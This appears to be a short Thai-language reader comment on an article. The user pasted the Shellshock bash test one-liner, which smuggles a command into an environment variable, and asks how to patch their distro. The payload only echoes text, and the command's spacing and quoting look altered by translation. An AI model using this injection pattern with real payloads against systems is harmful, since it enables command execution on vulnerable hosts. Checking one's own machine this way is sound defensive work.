สวัสดีตอนเย็นฉันได้ลองวางรหัสที่คุณให้ไว้ในบทความแล้วฉันได้รับสิ่งนี้
sanders @ pc-sanders: ~ $ env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ"
นี่คือการทดสอบ
sanders @ pc-sanders: ~ $
คุณช่วยอธิบายวิธีการแก้ไข distro ให้ฉันได้ไหมฉันอัปเดตทุกวันและฉันไม่เห็นการเปลี่ยนแปลงใด ๆ ในเอาต์พุตพร้อมต์
ขอบคุณมาก!